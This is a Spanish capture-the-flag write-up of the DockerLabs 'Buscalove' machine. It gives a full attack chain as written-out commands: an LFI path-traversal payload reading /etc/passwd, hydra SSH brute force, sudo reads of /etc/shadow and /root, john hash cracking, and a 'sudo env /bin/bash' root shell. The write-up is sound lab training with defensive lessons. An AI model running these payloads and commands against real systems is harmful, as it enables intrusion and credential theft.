the_open_door
café
ESEN

Buscalove

DockerLabsFácilLinux172.18.0.2

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#dockerlabs#lfi#parameter-fuzzing#hydra#brute-force#yescrypt#hash-cracking#sudo#gtfobins#base32
TL;DR. Buscalove esconde un parámetro GET (love) que la propia web deja entrever en su código fuente. Fuzzeando parámetros con un diccionario hecho a partir de ese HTML aparece el parámetro, y resulta ser un LFI. Leyendo /etc/passwd se saca la lista de usuarios con shell y una fuerza bruta con hydra entrega a rosa. Sus privilegios sudo (cat/ls) permiten leer /etc/shadow y crackear el hash yescrypt de root; en paralelo, un secret.txt doblemente codificado (hex → base32) revela la contraseña de pedro, que abusa de sudo env (GTFOBins) para llegar a root.

Reconocimiento

Escaneo inicial

El escaneo de puertos descubre dos servicios: un SSH y un servidor web.

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV <ip> -oN targeted
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH
80/tcp open  http    Apache httpd

Fuzzing de directorios

Sobre la web, dirsearch descubre un directorio /wordpress/, y un gobuster dentro localiza su index.php:

dirsearch -u http://<ip>
gobuster dir -u http://<ip>/wordpress -x txt,php,html,js -w directory-list-2.3-medium.txt

Acceso: LFI por un parámetro oculto

Del código fuente a un diccionario

El index.php muestra un aviso de "página en desarrollo" y un comentario con la palabra love que no parece casual. En lugar de adivinar el nombre del parámetro, se construye un diccionario a partir del propio HTML: se descarga la fuente y se trocea en palabras.

curl -s http://<ip>/wordpress/index.php | tr -d '></"' | tr ' ' '\n' | sed '/^$/d' > diccionarioweb.txt

Fuzzing de parámetros

Con ese diccionario se fuzzea el parámetro GET esperado por index.php. wfuzz marca love porque la respuesta cambia (la página se apunta a sí misma cuando love=index.php):

wfuzz -u "http://<ip>/wordpress/index.php?FUZZ=index.php" -w diccionarioweb.txt

Que el parámetro pueda cargar index.php sugiere que incluye recursos locales sin sanear. Se confirma apuntándolo a /etc/passwd:

curl "http://<ip>/wordpress/index.php?love=../../../../etc/passwd"

Es un LFI clásico. De la salida se filtran los usuarios con /bin/bash, que son los candidatos reales a tener contraseña de login:

curl -s "http://<ip>/wordpress/index.php?love=../../../../etc/passwd" | grep bash | awk -F: '{print $1}' > userList

Shell como rosa

Fuerza bruta SSH dirigida

Con la lista de usuarios acotada, hydra prueba rockyou contra SSH. El LFI ha convertido una fuerza bruta a ciegas en un ataque contra usuarios que se sabe que existen:

hydra -L userList -P <rockyou.txt> ssh://<ip> -t 64
[22][ssh] host: <ip>   login: rosa   password: <password>

Con las credenciales de rosa se entra por SSH.

Escalada de privilegios

Privilegios sudo de rosa

rosa puede ejecutar cat y ls como root sin contraseña:

sudo -l
User rosa may run the following commands:
    (root) NOPASSWD: /usr/bin/cat
    (root) NOPASSWD: /usr/bin/ls

Un cat como root permite leer cualquier fichero del sistema, empezando por /etc/shadow:

sudo cat /etc/shadow

Aparecen hashes de root y pedro. El prefijo $y$ los identifica como yescrypt.

Ruta A: crackear el hash de root

john en formato crypt (que delega en la libcrypt del sistema, capaz de yescrypt) ataca el hash de root con rockyou:

john --format=crypt --wordlist=<rockyou.txt> hashes --fork=4

Si rockyou contiene la contraseña, se obtiene la de root directamente y se salta toda la escalada con su root.

Ruta B: secret.txt doblemente codificado

El ls/cat de root también permite hurgar en /root, donde hay un secret.txt:

sudo ls /root
sudo cat /root/secret.txt

El contenido es una cadena hexadecimal. Decodificarla no da texto claro, sino otra cadena, señal de un segundo nivel de codificación (base32):

echo "4E 5A 58 57 43 59 33 46 4F 4A 32 47 43 34 54 42 4F 4E 58 58 47 32 49 4B" | xxd -r -p
# NZXWCY3FOJ2GC4TBONXXG2IK
echo "NZXWCY3FOJ2GC4TBONXXG2IK" | base32 -d
# noacertarasosi

noacertarasosi es la contraseña de pedro:

su pedro

Root: sudo env

pedro puede ejecutar env como root sin contraseña. Según GTFOBins, env puede lanzar un proceso arbitrario, así que sirve para abrir una shell privilegiada:

sudo -l
sudo env /bin/bash
# id
uid=0(root) gid=0(root) groups=0(root)

Cadena de ataque

HTTP  ->  /wordpress/index.php (pista "love" en el fuente)
    └─> diccionario del HTML  ->  wfuzz  ->  parámetro love  ->  LFI
            └─> /etc/passwd  ->  userList  ->  hydra (SSH)  ->  rosa
                    ├─> sudo cat /etc/shadow  ->  yescrypt  ->  john  ->  root
                    └─> sudo cat /root/secret.txt  ->  hex + base32  ->  pedro
                            └─> sudo env /bin/bash  ->  root

Lecciones aprendidas

  • El código fuente es un diccionario. Construir la wordlist de fuzzing a partir del propio HTML es más eficaz que una lista genérica: las pistas suelen estar en la página, no en rockyou.
  • Un LFI vale para enumerar, no solo para leer. Leer /etc/passwd y filtrar por /bin/bash dirige la fuerza bruta a cuentas reales.
  • sudo cat/sudo ls ya es game over. Poder leer cualquier fichero como root (incluido /etc/shadow) hace innecesaria una escalada más elaborada; conviene restringir qué binarios se conceden por sudo.
  • Codificar no es cifrar. Un secret.txt en hex+base32 solo ralentiza; ninguna de las dos capas protege un secreto, se decodifican sin clave.
Cheatsheet de comandos 10 comandos

Repaso rápido